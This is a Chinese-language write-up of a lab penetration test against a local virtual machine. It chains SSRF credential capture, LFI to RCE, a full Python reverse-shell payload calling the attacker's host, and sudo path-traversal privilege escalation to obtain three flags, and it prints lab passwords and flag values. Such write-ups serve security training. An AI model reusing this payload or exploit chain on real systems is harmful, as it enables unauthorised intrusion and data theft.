一、主机发现与目标确认
1.1 环境设定
• 攻击机:Kali Linux 2025.1(IP: 192.168.47.137)
• 靶机网络:VMware NAT模式,子网段为 192.168.47.0/24
• 测试环境:所有设备均为本地虚拟机,确保网络互通
1.2 主机扫描与目标锁定
首先通过nmap工具执行主机存活探测,命令如下:
nmap -sP 192.168.47.0/24

分析结论:网段中共发现 4 台存活主机,其中 192.168.47.138 被选定为渗透测试目标。
1.3 对目标主机进行全面端口与服务识别
首先通过nmap工具对目标主机进行信息收集,命令如下:
nmap -sV -sC -p- -T4 192.168.47.138


通过上面命令可以收集到以下信息
- IP: 192.168.47.138
- 服务: Apache 2.4.62
- 系统: CentOS Stream
- 应用: Web测试管理系统
二、Web应用初探与入口突破
2.1 应用功能入口分析
访问http://192.168.47.138,页面标题为“Web测试管理系统”,提供“登录”与“注册”两个核心功能入口。

先进行用户注册后在进行登录,发现界面有三个功能模块,但只有网站测试功能能正常访问,其余两个不具备权限访问,需要管理员身份密码进行登录才能访问。


基于权限优先级,将“网站测试功能”作为首要突破口。
三、SSRF漏洞识别与凭证获取
3.1 功能逻辑与漏洞探测
点击进入“网站测试功能”,对应URL为:http://192.168.47.138/webtest.php。页面提供URL输入框对任意url进行发起请求测试。
尝试输入百度地址https://www.baidu.com,系统成功返回完整的HTTP响应头数组

根据测试结果可知,系统会将原始响应头暴露给用户,明确存在服务器端请求伪造(SSRF)漏洞。
3.2 监听服务搭建与凭证捕获
为进一步利用SSRF漏洞,在Kali攻击机上编写简易Flask服务,用于记录靶机发起的所有HTTP请求头。启动服务后,在靶机“网站测试功能”中输入攻击机地址http://192.168.47.137。
Kali控制台立即捕获到靶机发送的请求头

其中包含一段Base64编码内容。解码后得到凭证:fuli:wsGdwWQZTu7U4seseGaG(用户名:fuli,密码:wsGdwWQZTu7U4seseGaG)。

使用该凭证登录“项目文件查看”与“文件包含测试”功能,均成功通过验证。
四、隐藏管理页面挖掘与密码破解
4.1 项目文件目录遍历
进入“项目文件查看”页面,系统要求输入目录路径。尝试输入 /etc/passwd 等非法路径均被拦截,提示“错误:禁止使用非法路径”;

但输入当前目录符号“.”时,成功返回文件列表,对应路径为/var/www/html/api。

列出的文件包括:filelist.php、include.php、webtest.php、mgmt_page。其中mgmt_page无.php后缀,但名称明确指向“管理页面(management page)”,成为重点关注对象。
4.2 管理页面访问与硬编码密码破解
直接访问管理页面:http://192.168.47.138/api/mgmt_page,页面显示“系统维护入口”及“请输入维护密码”输入框。输入任意内容均无有效回显,右键查看网页源代码,发现一段嵌入HTML的PHP代码:

代码中暴露了维护密码的MD5哈希值:96e44fa82e5a5263fb92337be422d3eb。将该哈希值提交至在线MD5解密平台,秒出结果:维护密码为SOUTH(长度5位,符合代码中的长度校验逻辑)。
五、LFI+RCE组合利用实现命令执行
5.1 直接执行命令的限制
在管理页面输入密码SOUTH后,页面提示“维护入口已打开!”,但未提供命令输入框,直接通过URL传入cmd参数也无法触发命令执行。

因此转向“文件包含测试”功能,尝试结合文件包含(LFI)漏洞利用管理页面的命令执行逻辑。
5.2 组合漏洞利用LFI与RCE实现
“文件包含测试”功能允许用户指定文件路径进行包含,结合前文发现的mgmt_page,构造如下URL:
http://192.168.47.138/api/include.php?file=mgmt_page&password=SOUTH&cmd=ls
核心逻辑:
• file=mgmt_page:通过文件包含功能加载管理页面的PHP逻辑
• password=SOUTH:满足管理页面的认证条件,触发$authenticated=true
• cmd=ls:传入待执行的系统命令
访问该URL后,页面成功返回ls命令的执行结果,远程命令执行(RCE)漏洞利用成功。此时可执行whoami、id等任意系统命令,但存在输出被HTML转义或截断的问题,需升级为交互式Shell以稳定获取信息。
5.3 本地信息侦察与初步突破
利用RCE执行命令侦察Web根目录:cmd=ls /var/www/,返回结果包含flag1.txt,成功定位第一个FLAG。

执行cmd=cat /var/www/flag1.txt,得到flag1:flag1{e707593d8a4c4c4db9d4a2f020258e7b}。

进一步遍历上级目录(cmd=ls ..),发现数据库配置文件db.php。尝试远程连接MySQL数据库失败,计划获取交互式Shell后本地登录数据库。
六、反弹Shell获取交互式终端
6.1 监听服务启动
在Kali攻击机上通过Netcat开启端口监听,等待靶机反弹连接:

6.2 反弹Shell Payload构造与执行
回到“文件包含测试”功能,构造包含Python反弹Shell的URL参数(Payload核心逻辑:建立与攻击机4444端口的TCP连接,启动交互式/bin/sh):
http://192.168.47.138/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22192.168.47.137%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27
提交后,Kali终端立即收到靶机的连接请求,成功获取交互式Shell,当前用户为Web服务运行账户apache。

七、数据库凭证挖掘与用户切换
7.1 本地数据库登录与凭证提取
在交互式Shell中使用获取的MySQL凭证本地登录:
Mysql -u root -pbd6d6wEZdTr2QNkk.1
成功进入MySQL后,切换至web_test_management数据库,查询用户表

查询结果中包含admin用户的MD5哈希值:9eaf9317aac50c955575334a93d0b9c。通过在线解密平台破解得到明文密码:chispa。经测试,admin用户处于禁用状态,暂无法直接使用。
7.2 切换至benjamin用户获取flag2
执行cmd=cat /etc/passwd命令侦察系统本地用户,发现用户benjamin。尝试利用社会工程学思路,使用admin用户的密码chispa切换用户:

输入密码chispa后用户切换成功,提示符变为benjamin用户,通过目录遍历发现在家目录下存在flag2.txt,通过cat flag2.txt,成功拿到第二个flag值:flag2{8437b8760a7a4717ad4e41568a9301e}
八、sudo路径遍历提权获取flag3
8.1 目标权限分析
在根目录下执行ls -l flag3.txt命令,发现flag3.txt的权限为root独占(-r-------- 1 root root 45 Dec 23 18:00 /flag3.txt),仅root用户可读。当前用户benjamin无root密码,无法通过su切换,需寻找提权路径。

8.2 sudo权限侦察与漏洞发现
执行sudo -l命令侦察当前用户的sudo权限(Linux渗透中提权侦察的核心命令),返回关键信息:

8.3 路径遍历漏洞利用与提权
核心利用逻辑:在路径中插入../,Shell会优先解析路径,将/root/notes/../xxx解析为/root/xxx,而sudo校验时仅判断命令行是否以/root/notes/开头,因此可绕过路径限制。
目标为读取/flag3.txt,构造路径:/root/notes/../../flag3.txt(解析后实际路径为/flag3.txt)。执行提权命令:

最终获取第三个FLAG:
flag3{1935a1a226564181bb8d4ee15ad73f96}
web靶机渗透实验2
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。